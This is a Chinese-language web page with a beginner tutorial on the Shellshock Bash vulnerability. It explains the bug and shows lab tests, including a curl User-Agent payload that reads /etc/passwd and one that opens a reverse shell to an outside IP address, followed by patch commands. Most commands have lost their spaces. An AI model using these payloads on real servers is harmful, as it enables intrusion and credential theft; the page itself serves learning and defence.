您的位置 首页 > 德语词汇

shellshock是什么意思、读音 Shellshock漏洞

大家好,今天来为大家解答shellshock是什么意思、读音这个问题的一些问题点,包括Shellshock漏洞也一样很多人还不知道,因此呢,今天就来为大家分析分析,现在让我们一起来看看吧!如果解决了您的问题,还望您关注下本站哦,谢谢~

本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNg’s在学习ShellShock时分享的一点心得,仅供大家参考学习。

shellshock是什么意思、读音 Shellshock漏洞

ShellShock漏洞出现时间很早,相信很多人也对ShellShock漏洞有很多的认识了。最近又看学习了下ShellShock漏洞,自己也有一些心得想要分享。

下面我将从4个方面来分享下ShellShock

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。

在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

wgethttp://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:

envx='(){:;};echovulnerable'bash-c"echothisisatest"\n

如果在一个含有版本号小于bash4.3的linux或者unix系统,本地执行以上命令,可能会得到以下输出:

Vulnerablethisisatest\n

其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。

输出vulnerable的话,说明bash有漏洞。

了解bash自定义函数,只需要函数名就能够调用该函数。

funtionShellShock{\necho"Injection"\n}\n

ShellShock#调用这个函数

KEY=ShellShock\nVALUE=(){echoInjection;}\n

来看看ShellShock漏洞的真身:

exportShellShock='(){:;};echo;/usr/bin/whoami'\nbash\n>Kr0iNg\n

为什么调用bash的时候输出Injection了呢,看看它内部情况:

KEY=ShellShock\nVALUE=(){:;};echo;/usr/bin/whoami\n

bash读取了环境变量,在定义ShellShock之后直接调用了后面的bash命令。

一旦调用bash,自定义的语句就直接触发。

我们先来看一下这个漏洞形成的原因。这个问题的发生是因为Bash的一个功能,它允许在Bash的shell中使用环境变量来定义函数。

函数的作用是把经常调用的代码封装起来,然后在其他地方调用,所有的大多数脚本语言都有这个功能。

functionShellShock{\nechohello\n}\n

hello#调用这个函数

但是,Bash还有一种使用环境变量来定义函数的方法,这是它的特性。

如果环境变量的值以字符”(){“开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。

?~exportShellShock="(){echoHelloShellShock;}"\n?~ShellShock\nbash:ShellShock:commandnotfound\n?~bash\nbash-4.1$ShellShock\nHelloShellShock\nbash-4.1$\n

利用存在漏洞版本的bash用export引入触发ShellShock来执行代码测试。

这段的意思就是引入ShellShock这个函数(函数名可任意)

exportShellShock="(){echoThisisShellShock;}\n

分号作为分隔来执行系统命令

我用docker在本地pull了一份存在Shellshock漏洞的程序进行测试。

docker搭建、安装教程docker安装教程

dockerrun-d-p8000:80-v/Users/Kr0iNg/Desktop/路径漏洞镜像名称:latest

将它的端口转发到本机进行访问。

进行Shellshock漏洞测试,使用工具curl。

curl-A“(){echoShellShock;};echo;/bin/cat/etc/passwd”http://127.0.0.1:8000/cgi-bin/vulnerable

使用curl-A或者-H参数模拟Http头命令,并调用“cat/etc/passwd”读passwd文件,发送到存在Bash漏洞的docker容器,成功读取到了passwd文件内容。

修改http协议中的User-Agent字段为:

(){:;};echo;/bin/cat/etc/passwd\n

成功读取passwd文件。

发送http请求进行测试反弹shell。

User-Agent:(){:;};echo;/bin/bash-i>&/dev/tcp/47.92.80.16/12340>&1\n

反弹成功,可以查看用户名,目录,系统版本等信息。

现在可以按照下面方式进行Bash的升级修复:

apt-getinstallbash\n

RedHat/CentOS/Fedora

brewinstallbash\nsudosh-c'echo"/usr/local/bin/bash">>/etc/shells'\nchsh-s/usr/local/bin/bash\nsudomv/bin/bash/bin/bash-backup\nsudoln-s/usr/local/bin/bash/bin/bash\n

MacPortssudoportselfupdate

好了,文章到此结束,希望可以帮助到大家。

本站涵盖的内容、图片、视频等数据,部分未能与原作者取得联系。若涉及版权问题,请及时通知我们并提供相关证明材料,我们将及时予以删除!谢谢大家的理解与支持!

Copyright © 2023